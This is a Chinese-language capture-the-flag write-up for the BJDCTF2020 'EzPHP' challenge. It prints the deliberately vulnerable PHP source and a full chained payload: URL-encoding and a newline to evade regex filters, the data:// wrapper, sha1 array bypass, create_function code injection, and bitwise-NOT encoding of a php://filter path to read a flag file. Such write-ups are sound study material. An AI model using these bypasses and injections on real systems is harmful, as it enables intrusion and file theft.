[BJDCTF2020]EzPHP 1

ZG206發表於2024-07-13
TF2PHP

資訊收集，waf繞過


開啟後原始碼中可以看到這個東西，解碼後是1nD3x.php

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>


第一層可以看到他是用sever，這個是不會自動解url的所以我們直接url就可以繞過

可以看到匹配中沒有/m所以直接換行繞過即可

?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a


這個就是便利，但是在post和get同時傳入一個參的時候他會優先選擇post所以我們在post再傳一遍就好


這裡就直接用data偽協議就好了沒什麼難的，url加密就好了

file=data://text/paln,debu_debu_aqua



這裡類似於md5直接陣列繞過就好了

shana[]=1&passwd[]=2


這裡可以發現$code和$arg可控，利用$code('',$arg)進行create_function注入

function a('',$arg){
    return $arg
}

$arg=}程式碼;//,則}閉合了a()，同時//註釋了後面的內容
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

得到了flag位置rea1fl4g.php
get_defined_vars此函式返回一個包含所有已定義變數列表的多維陣列，這些變數包括環境變數、伺服器變數和使用者定義的變數。
因為這裡url沒辦法繞過去所以我們要用取反繞過

<?php
$a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
echo urlencode(~$a);

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

最終payload

?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%61%6c%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//


debu=1&file=1

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